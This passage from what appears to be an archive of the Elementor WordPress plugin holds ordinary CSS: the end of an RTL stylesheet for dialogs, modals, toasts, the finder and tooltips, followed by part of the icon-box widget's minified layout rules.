--e-a-transition-hover: all .3s; --e-a-popover-shadow: 0 2px 15px rgba(0, 0, 0, 0.3); --e-a-dropdown-shadow: 0 0 3px rgba(0, 0, 0, 0.2); } .elementor-hidden { display: none; } .elementor-visibility-hidden { visibility: hidden; } .elementor-screen-only, .screen-reader-text, .screen-reader-text span, .ui-helper-hidden-accessible { position: absolute; top: -10000em; width: 1px; height: 1px; margin: -1px; padding: 0; overflow: hidden; clip: rect(0, 0, 0, 0); border: 0; } .elementor-clearfix:after { content: ""; display: block; clear: both; width: 0; height: 0; } .e-logo-wrapper { background: var(--e-a-bg-logo); display: inline-block; padding: 0.75em; border-radius: 50%; line-height: 1; } .e-logo-wrapper i { color: var(--e-a-color-logo); font-size: 1em; } .dialog-widget-content { background-color: var(--e-a-bg-default); position: absolute; border-radius: 3px; box-shadow: 2px 8px 23px 3px rgba(0, 0, 0, 0.2); overflow: hidden; } .dialog-message { line-height: 1.5; box-sizing: border-box; } .dialog-close-button { cursor: pointer; position: absolute; margin-block-start: 15px; inset-inline-end: 15px; color: var(--e-a-color-txt); font-size: 15px; line-height: 1; transition: var(--e-a-transition-hover); } .dialog-close-button:hover { color: var(--e-a-color-txt-hover); } .dialog-prevent-scroll { overflow: hidden; max-height: 100vh; } .dialog-type-lightbox { position: fixed; height: 100%; width: 100%; bottom: 0; left: 0; background-color: rgba(0, 0, 0, 0.8); z-index: 9999; -webkit-user-select: none; -moz-user-select: none; user-select: none; } .elementor-editor-active .elementor-popup-modal { background-color: initial; } .dialog-type-confirm .dialog-widget-content, .dialog-type-alert .dialog-widget-content { margin: auto; width: 400px; padding: 20px; } .dialog-type-confirm .dialog-header, .dialog-type-alert .dialog-header { font-size: 15px; font-weight: 500; } .dialog-type-confirm .dialog-header:after, .dialog-type-alert .dialog-header:after { content: ""; display: block; border-block-end: var(--e-a-border); padding-block-end: 10px; margin-block-end: 10px; margin-inline-start: -20px; margin-inline-end: -20px; } .dialog-type-confirm .dialog-message, .dialog-type-alert .dialog-message { min-height: 50px; } .dialog-type-confirm .dialog-buttons-wrapper, .dialog-type-alert .dialog-buttons-wrapper { padding-block-start: 10px; display: flex; justify-content: flex-end; gap: 15px; } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button, .dialog-type-alert .dialog-buttons-wrapper .dialog-button { font-size: 12px; font-weight: 500; line-height: 1.2; padding: 8px 16px; outline: none; border: none; border-radius: var(--e-a-border-radius); background-color: var(--e-a-btn-bg); color: var(--e-a-btn-color-invert); transition: var(--e-a-transition-hover); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button:hover { border: none; } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button:focus { background-color: var(--e-a-btn-bg-hover); color: var(--e-a-btn-color-invert); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button:active, .dialog-type-alert .dialog-buttons-wrapper .dialog-button:active { background-color: var(--e-a-btn-bg-active); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button:not([disabled]), .dialog-type-alert .dialog-buttons-wrapper .dialog-button:not([disabled]) { cursor: pointer; } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button:disabled, .dialog-type-alert .dialog-buttons-wrapper .dialog-button:disabled { background-color: var(--e-a-btn-bg-disabled); color: var(--e-a-btn-color-disabled); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button:not(.elementor-button-state) .elementor-state-icon, .dialog-type-alert .dialog-buttons-wrapper .dialog-button:not(.elementor-button-state) .elementor-state-icon { display: none; } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-btn-txt, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-cancel, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-btn-txt, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-cancel { background: transparent; color: var(--e-a-color-txt); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-btn-txt:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-cancel:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-btn-txt:focus, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-cancel:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-btn-txt:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-cancel:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-btn-txt:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-cancel:focus { background: var(--e-a-bg-hover); color: var(--e-a-color-txt-hover); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-btn-txt:disabled, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-cancel:disabled, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-btn-txt:disabled, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-cancel:disabled { background: transparent; color: var(--e-a-color-txt-disabled); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-btn-txt-border, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-btn-txt-border { border: 1px solid var(--e-a-color-txt-muted); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.elementor-button-success, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-success, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.elementor-button-success, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-success { background-color: var(--e-a-btn-bg-success); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.elementor-button-success:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.elementor-button-success:focus, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-success:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-success:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.elementor-button-success:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.elementor-button-success:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-success:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-success:focus { background-color: var(--e-a-btn-bg-success-hover); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-primary, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-take_over, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-ok, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-primary, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-take_over, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-ok { background-color: var(--e-a-btn-bg-primary); color: var(--e-a-btn-color); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-primary:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-take_over:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-ok:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-primary:focus, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-take_over:focus, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-ok:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-primary:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-take_over:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-ok:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-primary:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-take_over:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-ok:focus { background-color: var(--e-a-btn-bg-primary-hover); color: var(--e-a-btn-color); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-primary.e-btn-txt, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-take_over, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-primary.dialog-cancel, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-take_over, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-ok, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-cancel, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-primary.e-btn-txt, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-take_over, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-primary.dialog-cancel, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-take_over, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-ok, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-cancel { background: transparent; color: var(--e-a-color-primary-bold); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-primary.e-btn-txt:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-take_over:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-primary.dialog-cancel:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-take_over:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-ok:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-cancel:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-primary.e-btn-txt:focus, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-take_over:focus, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-primary.dialog-cancel:focus, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-take_over:focus, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-ok:focus, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-cancel:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-primary.e-btn-txt:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-take_over:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-primary.dialog-cancel:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-take_over:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-ok:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-cancel:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-primary.e-btn-txt:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-take_over:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-primary.dialog-cancel:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-take_over:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-ok:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-cancel:focus { background: var(--e-a-bg-primary); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.go-pro, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-accent, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.go-pro, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-accent { background-color: var(--e-a-btn-bg-accent); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.go-pro:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.go-pro:focus, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-accent:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-accent:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.go-pro:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.go-pro:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-accent:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-accent:focus { background-color: var(--e-a-btn-bg-accent-hover); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.go-pro:active, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-accent:active, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.go-pro:active, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-accent:active { background-color: var(--e-a-btn-bg-accent-active); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.elementor-button-info, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-info, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.elementor-button-info, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-info { background-color: var(--e-a-btn-bg-info); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.elementor-button-info:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.elementor-button-info:focus, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-info:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-info:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.elementor-button-info:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.elementor-button-info:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-info:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-info:focus { background-color: var(--e-a-btn-bg-info-hover); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.elementor-button-warning, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-warning, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.elementor-button-warning, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-warning { background-color: var(--e-a-btn-bg-warning); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.elementor-button-warning:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.elementor-button-warning:focus, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-warning:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-warning:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.elementor-button-warning:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.elementor-button-warning:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-warning:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-warning:focus { background-color: var(--e-a-btn-bg-warning-hover); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.elementor-button-danger, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-danger, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.elementor-button-danger, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-danger { background-color: var(--e-a-btn-bg-danger); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.elementor-button-danger:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.elementor-button-danger:focus, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-danger:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-danger:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.elementor-button-danger:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.elementor-button-danger:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-danger:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-danger:focus { background-color: var(--e-a-btn-bg-danger-hover); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button i, .dialog-type-alert .dialog-buttons-wrapper .dialog-button i { margin-inline-end: 5px; } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button:focus, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button:visited, .dialog-type-alert .dialog-buttons-wrapper .dialog-button:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button:visited { color: initial; } #elementor-change-exit-preference-dialog .dialog-message a { cursor: pointer; } #elementor-change-exit-preference-dialog .dialog-message > div { margin-block-end: 10px; } #e-experiments-messages-dialog .dialog-confirm-header { font-weight: 600; } #e-kit-elements-defaults-create-dialog label { display: flex; align-items: center; justify-content: center; gap: 10px; margin-block-start: 20px; } @media (min-width: 1024px) { body.admin-bar .dialog-lightbox-widget { height: calc(100vh - 32px); } } @media (max-width: 1024px) { body.admin-bar .dialog-type-lightbox { position: sticky; height: 100vh; } } .elementor-templates-modal .dialog-widget-content { font-family: Roboto, Arial, Helvetica, sans-serif; background-color: var(--e-a-bg-default); width: 100%; } @media (max-width: 1439px) { .elementor-templates-modal .dialog-widget-content { max-width: 990px; } } @media (min-width: 1440px) { .elementor-templates-modal .dialog-widget-content { max-width: 1200px; } } .elementor-templates-modal .dialog-header { border-block-end: var(--e-a-border); padding: 0; z-index: 1; } .elementor-templates-modal .dialog-buttons-wrapper { border-block-start: var(--e-a-border); padding: 10px; display: flex; justify-content: flex-end; gap: 15px; } .elementor-templates-modal .dialog-message { height: 750px; max-height: 85vh; overflow-y: auto; padding: 20px; } .elementor-templates-modal .dialog-content { height: 100%; text-align: center; } .elementor-templates-modal .dialog-loading { display: none; } .elementor-templates-modal__header { display: flex; align-items: center; justify-content: space-between; height: 50px; } .elementor-templates-modal__header__logo { line-height: 1; text-transform: uppercase; font-weight: bold; cursor: pointer; } .elementor-templates-modal__header__logo-area { text-align: start; padding-inline-start: 15px; } .elementor-templates-modal__header__logo-area > * { display: flex; align-items: center; } .elementor-templates-modal__header__logo__icon-wrapper { margin-inline-end: 10px; font-size: 12px; } .elementor-templates-modal__header__logo__title { color: var(--e-a-color-txt-active); padding-block-start: 2px; } .elementor-templates-modal__header__items-area { display: flex; flex-direction: row-reverse; } .elementor-templates-modal__header__item { position: relative; display: flex; align-items: center; justify-content: center; box-sizing: content-box; } .elementor-templates-modal__header__item > i { font-size: 20px; transition: var(--e-a-transition-hover); cursor: pointer; } .elementor-templates-modal__header__item > i:hover { color: var(--e-a-color-txt-hover); } .elementor-templates-modal__header__close--normal { width: 47px; border-inline-start: var(--e-a-border); } .elementor-templates-modal__header__close--normal i { font-size: 18px; } .elementor-templates-modal__header__close--skip { padding: 10px; padding-inline-start: 20px; margin-inline-end: 10px; font-size: 11px; font-weight: normal; line-height: 1; border-radius: var(--e-a-border-radius); cursor: pointer; } .elementor-templates-modal__header__close--skip > i { font-size: inherit; padding-inline-start: 10px; margin-inline-start: 15px; border-inline-start: 1px solid; } .elementor-templates-modal__header__close--skip > i:not(:hover) { color: var(--e-a-color-white); } .elementor-templates-modal__sidebar { flex-shrink: 0; width: 25%; border-inline-end: var(--e-a-border); } .elementor-templates-modal__content { flex-grow: 1; } #elementor-toast { position: absolute; width: 280px; padding: 20px; border-radius: 5px; color: var(--e-a-dark-color-txt); background-color: rgba(0, 0, 0, 0.8); z-index: 10000; } #elementor-toast.dialog-position-window { position: fixed; } #elementor-toast .dialog-message { font-size: 13px; } #elementor-toast .dialog-buttons-wrapper { display: flex; justify-content: flex-end; } #elementor-toast .dialog-buttons-wrapper:not(:empty) { margin-top: 15px; } #elementor-toast .dialog-button { font-size: 12px; font-weight: 500; line-height: 1.2; padding: 8px 16px; margin-inline-end: 10px; color: var(--e-a-dark-color-txt); border-radius: var(--e-a-border-radius); transition: var(--e-a-transition-hover); cursor: pointer; } #elementor-toast .dialog-button:hover { background: var(--e-a-bg-hover); color: var(--e-a-color-txt-hover); } #elementor-toast .dialog-button:last-child { margin-inline-end: 0; } /* Will select next element after last '.elementor-general-section' */ #wpadminbar #wp-admin-bar-elementor_edit_page .elementor-general-section + .elementor-second-section { border-block-start: 1px solid #464b50; margin-block-start: 6px; } .e-logo-wrapper { background: var(--e-a-bg-logo); display: inline-block; padding: 0.75em; border-radius: 50%; line-height: 1; } .e-logo-wrapper i { color: var(--e-a-color-logo); font-size: 1em; } #elementor-finder__modal { background: none; z-index: 99999; } #elementor-finder__modal .dialog-widget-content { width: 650px; max-width: 98%; top: 18vh; left: calc(50% - 650px / 2); } #elementor-finder__modal .dialog-content { text-align: start; } #elementor-finder__modal .dialog-message { height: initial; min-height: 0; padding: 0; text-align: start; } #elementor-finder__search { padding: 15px; display: flex; } #elementor-finder__search i { font-size: 16px; margin-inline-end: 15px; } #elementor-finder__search__input { border: none; background: none; outline: none; padding: 0; margin: 0; flex-grow: 1; font-size: 14px; box-shadow: none; } #elementor-finder__search__input::-moz-placeholder { font-style: italic; font-weight: 300; } #elementor-finder__search__input::placeholder { font-style: italic; font-weight: 300; } #elementor-finder__results { max-height: 50vh; overflow: auto; } #elementor-finder__no-results { display: none; padding: 20px; } #elementor-finder__lock-dialog { z-index: 100000; } .elementor-finder__results__category { position: relative; } .elementor-finder__results__category__title { padding: 5px 25px; font-size: 10px; border-block-end: var(--e-a-border); } .elementor-finder__results__category--dynamic .elementor-finder__results__category__items { min-height: 26px; } .elementor-finder__results__category .eicon-loading { display: none; position: absolute; left: 10px; top: 30px; color: var(--e-a-color-info); font-size: 14px; } .elementor-finder__results__item { display: flex; } .elementor-finder__results__item a { text-decoration: none; color: inherit; } .elementor-finder__results__item.elementor-active { background-color: var(--e-a-bg-hover); } .elementor-finder__results__item.elementor-active a { color: inherit; } .elementor-finder__results__item:not(.elementor-active) .elementor-finder__results__item__actions { display: none; } .elementor-finder__results__item__link { display: flex; align-items: center; height: 35px; flex-grow: 1; } .elementor-finder__results__item__icon { width: 60px; text-align: center; font-size: 17px; } .elementor-finder__results__item__title { font-size: 13px; } .elementor-finder__results__item__description { margin-inline-start: 5px; font-style: italic; } .elementor-finder__results__item__badge { text-transform: uppercase; position: absolute; inset-inline-end: 16px; font-size: 8px; font-weight: 500; display: flex; align-items: center; gap: 4px; } .elementor-finder__results__item__actions { display: flex; } .elementor-finder__results__item__action { display: flex; align-items: center; justify-content: center; height: 100%; width: 35px; } .elementor-finder__results__item__action:hover { background-color: rgba(0, 0, 0, 0.07); } .tipsy { font-size: 10px; position: absolute; padding: 5px; z-index: 100000; } .tipsy-inner { background-color: #000; color: #FFF; font-weight: 500; max-width: 200px; padding: 5px 12px; text-align: center; border-radius: 3px; box-shadow: 0 0 5px 0 rgba(0, 0, 0, 0.5); } .tipsy-arrow { position: absolute; width: 0; height: 0; line-height: 0; border: 5px dashed #000; } .tipsy-arrow-n { border-bottom-color: #000; } .tipsy-arrow-s { border-top-color: #000; } .tipsy-arrow-e { border-left-color: #000; } .tipsy-arrow-w { border-right-color: #000; } .tipsy-n .tipsy-arrow, .tipsy-nw .tipsy-arrow { border-left-color: transparent; border-right-color: transparent; top: 0; border-bottom-style: solid; border-top: none; } .tipsy-n .tipsy-arrow { left: 50%; margin-left: -5px; } .tipsy-nw .tipsy-arrow { left: 10px; } .tipsy-ne .tipsy-arrow { top: 0; right: 10px; border-bottom-style: solid; border-top: none; border-left-color: transparent; border-right-color: transparent; } .tipsy-s .tipsy-arrow, .tipsy-se .tipsy-arrow, .tipsy-sw .tipsy-arrow { bottom: 0; border-top-style: solid; border-bottom: none; border-left-color: transparent; border-right-color: transparent; } .tipsy-s .tipsy-arrow { left: 50%; margin-left: -5px; } .tipsy-sw .tipsy-arrow { left: 10px; } .tipsy-se .tipsy-arrow { right: 10px; } .tipsy-e .tipsy-arrow, .tipsy-w .tipsy-arrow { top: 50%; margin-top: -5px; border-top-color: transparent; border-bottom-color: transparent; } .tipsy-e .tipsy-arrow { right: 0; border-left-style: solid; border-right: none; } .tipsy-w .tipsy-arrow { left: 0; border-right-style: solid; border-left: none; } /*# sourceMappingURL=common-rtl.css.map */assets/css/widget-icon-box.min.css000064400000023556147206604650013156 0ustar00/*! elementor - v3.24.0 - 12-09-2024 */ .elementor-widget-icon-box .elementor-icon-box-wrapper{display:block;text-align:center}.elementor-widget-icon-box .elementor-icon-box-icon{margin-bottom:var(--icon-box-icon-margin,15px);margin-right:auto;margin-left:auto}@media (min-width:768px){.elementor-widget-icon-box.elementor-vertical-align-top .elementor-icon-box-wrapper{align-items:flex-start}.elementor-widget-icon-box.elementor-vertical-align-middle .elementor-icon-box-wrapper{align-items:center}.elementor-widget-icon-box.elementor-vertical-align-bottom .elementor-icon-box-wrapper{align-items:flex-end}}.elementor-widget-icon-box.elementor-position-left .elementor-icon-box-wrapper,.elementor-widget-icon-box.elementor-position-right .elementor-icon-box-wrapper{display:flex}.elementor-widget-icon-box.elementor-position-left .elementor-icon-box-icon,.elementor-widget-icon-box.elementor-position-right .elementor-icon-box-icon{display:inline-flex;flex:0 0 auto}.elementor-widget-icon-box.elementor-position-right .elementor-icon-box-wrapper{text-align:end;flex-direction:row-reverse}.elementor-widget-icon-box.elementor-position-right .elementor-icon-box-icon{margin-left:var(--icon-box-icon-margin,15px);margin-right:0;margin-bottom:unset}.elementor-widget-icon-box.elementor-position-left .elementor-icon-box-wrapper{text-align:start;flex-direction:row}.elementor-widget-icon-box.elementor-position-left .elementor-icon-box-icon{margin-right:var(--icon-box-icon-margin,15px);margin-left:0;margin-bottom:unset}.elementor-widget-icon-box.elementor-position-top .elementor-icon-box-wrapper{display:block;text-align:center;flex-direction:unset}.elementor-widget-icon-box.elementor-position-top .elementor-icon-box-icon{margin-bottom:var(--icon-box-icon-margin,15px);margin-right:auto;margin-left:auto}@media (min-width:-1){.elementor-widget-icon-box.elementor-widescreen-position-left .elementor-icon-box-wrapper,.elementor-widget-icon-box.elementor-widescreen-position-right .elementor-icon-box-wrapper{display:flex}.elementor-widget-icon-box.elementor-widescreen-position-left .elementor-icon-box-icon,.elementor-widget-icon-box.elementor-widescreen-position-right .elementor-icon-box-icon{display:inline-flex;flex:0 0 auto}.elementor-widget-icon-box.elementor-widescreen-position-right .elementor-icon-box-wrapper{text-align:end;flex-direction:row-reverse}.elementor-widget-icon-box.elementor-widescreen-position-right .elementor-icon-box-icon{margin-left:var(--icon-box-icon-margin,15px);margin-right:0;margin-bottom:unset}.elementor-widget-icon-box.elementor-widescreen-position-left .elementor-icon-box-wrapper{text-align:start;flex-direction:row}.elementor-widget-icon-box.elementor-widescreen-position-left .elementor-icon-box-icon{margin-right:var(--icon-box-icon-margin,15px);margin-left:0;margin-bottom:unset}.elementor-widget-icon-box.elementor-widescreen-position-top .elementor-icon-box-wrapper{display:block;text-align:center;flex-direction:unset}.elementor-widget-icon-box.elementor-widescreen-position-top .elementor-icon-box-icon{margin-bottom:var(--icon-box-icon-margin,15px);margin-right:auto;margin-left:auto}}@media (max-width:-1){.elementor-widget-icon-box.elementor-laptop-position-left .elementor-icon-box-wrapper,.elementor-widget-icon-box.elementor-laptop-position-right .elementor-icon-box-wrapper{display:flex}.elementor-widget-icon-box.elementor-laptop-position-left .elementor-icon-box-icon,.elementor-widget-icon-box.elementor-laptop-position-right .elementor-icon-box-icon{display:inline-flex;flex:0 0 auto}.elementor-widget-icon-box.elementor-laptop-position-right .elementor-icon-box-wrapper{text-align:end;flex-direction:row-reverse}.elementor-widget-icon-box.elementor-laptop-position-right .elementor-icon-box-icon{margin-left:var(--icon-box-icon-margin,15px);margin-right:0;margin-bottom:unset}.elementor-widget-icon-box.elementor-laptop-position-left .elementor-icon-box-wrapper{text-align:start;flex-direction:row}.elementor-widget-icon-box.elementor-laptop-position-left .elementor-icon-box-icon{margin-right:var(--icon-box-icon-margin,15px);margin-left:0;margin-bottom:unset}.elementor-widget-icon-box.elementor-laptop-position-top .elementor-icon-box-wrapper{display:block;text-align:center;flex-direction:unset}.elementor-widget-icon-box.elementor-laptop-position-top .elementor-icon-box-icon{margin-bottom:var(--icon-box-icon-margin,15px);margin-right:auto;margin-left:auto}}@media (max-width:-1){.elementor-widget-icon-box.elementor-tablet_extra-position-left .elementor-icon-box-wrapper,.elementor-widget-icon-box.elementor-tablet_extra-position-right .elementor-icon-box-wrapper{display:flex}.elementor-widget-icon-box.elementor-tablet_extra-position-left .elementor-icon-box-icon,.elementor-widget-icon-box.elementor-tablet_extra-position-right .elementor-icon-box-icon{display:inline-flex;flex:0 0 auto}.elementor-widget-icon-box.elementor-tablet_extra-position-right .elementor-icon-box-wrapper{text-align:end;flex-direction:row-reverse}.elementor-widget-icon-box.elementor-tablet_extra-position-right .elementor-icon-box-icon{margin-left:var(--icon-box-icon-margin,15px);margin-right:0;margin-bottom:unset}.elementor-widget-icon-box.elementor-tablet_extra-position-left .elementor-icon-box-wrapper{text-align:start;flex-direction:row}.elementor-widget-icon-box.elementor-tablet_extra-position-left .elementor-icon-box-icon{margin-right:var(--icon-box-icon-margin,15px);margin-left:0;margin-bottom:unset}.elementor-widget-icon-box.elementor-tablet_extra-position-top .elementor-icon-box-wrapper{display:block;text-align:center;flex-direction:unset}.elementor-widget-icon-box.elementor-tablet_extra-position-top .elementor-icon-box-icon{margin-bottom:var(--icon-box-icon-margin,15px);margin-right:auto;margin-left:auto}}@media (max-width:1024px){.elementor-widget-icon-box.elementor-tablet-position-left .elementor-icon-box-wrapper,.elementor-widget-icon-box.elementor-tablet-position-right .elementor-icon-box-wrapper{display:flex}.elementor-widget-icon-box.elementor-tablet-position-left .elementor-icon-box-icon,.elementor-widget-icon-box.elementor-tablet-position-right .elementor-icon-box-icon{display:inline-flex;flex:0 0 auto}.elementor-widget-icon-box.elementor-tablet-position-right .elementor-icon-box-wrapper{text-align:end;flex-direction:row-reverse}.elementor-widget-icon-box.elementor-tablet-position-right .elementor-icon-box-icon{margin-left:var(--icon-box-icon-margin,15px);margin-right:0;margin-bottom:unset}.elementor-widget-icon-box.elementor-tablet-position-left .elementor-icon-box-wrapper{text-align:start;flex-direction:row}.elementor-widget-icon-box.elementor-tablet-position-left 